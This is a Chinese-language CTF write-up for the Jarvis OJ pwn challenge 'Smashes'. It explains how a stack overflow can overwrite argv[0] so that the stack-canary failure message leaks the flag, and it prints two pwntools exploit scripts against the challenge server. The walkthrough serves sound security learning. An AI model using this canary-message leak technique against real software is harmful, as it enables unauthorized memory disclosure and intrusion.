[Jarvis OJ - PWN]——Smashes

[Jarvis OJ - PWN]——Smashes

还是先checksec一下看看。64位,并且除了PIE,其他保护基本都开启了。
[Jarvis OJ - PWN]——Smashes
在IDA中看看
[Jarvis OJ - PWN]——Smashes
[Jarvis OJ - PWN]——Smashes
[Jarvis OJ - PWN]——Smashes

发现有可以利用的栈溢出, 我原本的想法是将canary给泄露出来。但是看到触发了canary保护后的结果, 有点不对劲。
[Jarvis OJ - PWN]——Smashes
修改了文件名后,我确定了, 泄露的就是argv[0]。我们可以通过将其覆盖, 主动触发canary保护, 将flag拿到手。
[Jarvis OJ - PWN]——Smashes
我们首先要确实, argv[0], 距离的输入的偏移。我们找最初的指针指向。
diantance = 0x218
[Jarvis OJ - PWN]——Smashes
上面我们找到flag的地址位:0x0000000000600D21
所以exploit

from pwn import *
#p=process('./smashes')
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x0600D21                                                                                                 
payload='a'*0x218+p64(flag_addr)
p.sendline(payload)
p.interactive()

发现结果不对,什么都没有???
[Jarvis OJ - PWN]——Smashes

看了下相关博客,学到了

peak小知识

当ELF文件较小的时候,他的不同区段可能会被多次映射。

找到映射备份地址0x400D21

exploit

from pwn import *
#p=process('./smashes')
p=remote("pwn.jarvisoj.com","9877")
p.recvuntil("name?");
flag_addr=0x0400D21                                                                                                 
payload='a'*0x218+p64(flag_addr)
p.sendline(payload)
p.interactive()
上一篇:[BUUCTF-pwn]——pwnable_orw   (ORW)


下一篇:二进制安全学习:最新指导Pwn环境搭建教程(安装Peda插件Pwn库 IDApro for Mac15)